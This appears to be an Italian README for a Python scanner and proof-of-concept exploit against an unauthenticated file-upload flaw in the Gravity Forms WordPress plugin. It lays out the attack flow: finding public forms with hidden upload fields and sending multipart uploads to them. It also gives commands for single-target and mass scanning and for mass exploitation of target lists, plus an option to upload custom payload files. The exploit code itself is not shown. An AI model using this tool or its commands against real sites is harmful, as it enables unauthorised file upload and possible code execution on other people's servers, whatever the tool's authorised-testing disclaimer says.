Scanner PoC ed exploit in Python 3 per CVE-2026-84434 in Gravity Forms.
| |
|---|
| Plugin | gravityforms |
| Affected | ≤ 3.1.0.4 |
| Fixed in | 3.1.0.5+ (vendor security release 3.1.1) |
| CVSS | 9.8 (Critical) |
| Auth | Unauthenticated |
| CWE | CWE-434 — Unrestricted Upload |
| Credit | 0xd4rk5id3 — EnvoraSec (Wordfence) |
Riepilogo
I campi File Upload nascosti saltano la validazione dell'estensione nella pipeline di validazione, mentre il percorso di persistenza può comunque chiamare upload_file() senza controlli equivalenti. Un attaccante non autenticato può effettuare una POST verso un form pubblico che include un campo File Upload con Visibility → Hidden.
I file vengono memorizzati sotto wp-content/uploads/gravity_forms/. Gravity Forms tipicamente aggiunge regole .htaccess per bloccare l'esecuzione di PHP; l'RCE dipende dalla configurazione del server (nginx, docroot alternativo, ecc.).
Flusso di attacco
- Rilevare Gravity Forms e versione ≤ 3.1.0.4
- Scansionare le pagine pubbliche alla ricerca di
gform_wrapper e di un campo fileupload nascosto (input_{form}_{field})
- Compilare i campi visibili obbligatori con segnaposto
- POST multipart (
gform_submit, is_submit_{id}, file sull'input nascosto)
- Confermare tramite messaggio di conferma / indizi di entry / recupero opzionale del marker
Requisiti
- Python 3.9+
pip install -r requirements.txt
Utilizzo
pip install -r requirements.txt
# Check single target
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (built-in benign .txt probe unless --payload-file is set)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# Custom upload file (your own probe — not included in this repo)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
Opzioni CLI
Output (mass check)
| File | Contenuto |
|---|
cve_2026_84434_results.jsonl |
Valori comuni di status (check)
Limitazioni
- La modalità check vede solo i campi di upload nascosti renderizzati nell'HTML pubblico; i campi nascosti solo per admin non sono scopribili da remoto.
- Le liste in stile FOFA contengono molti siti corretti o form senza upload nascosto — aspettarsi un basso tasso di candidati.
- L'exploit predefinito carica un marker di testo innocuo, non una webshell.
Struttura del repository
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Le liste di scansione locali e gli artefatti (list.txt, *.jsonl, payload personalizzati) sono in .gitignore e non devono essere committati.
Legale
Solo per test di sicurezza autorizzati. Sei responsabile della conformità con le leggi applicabili e le regole del programma.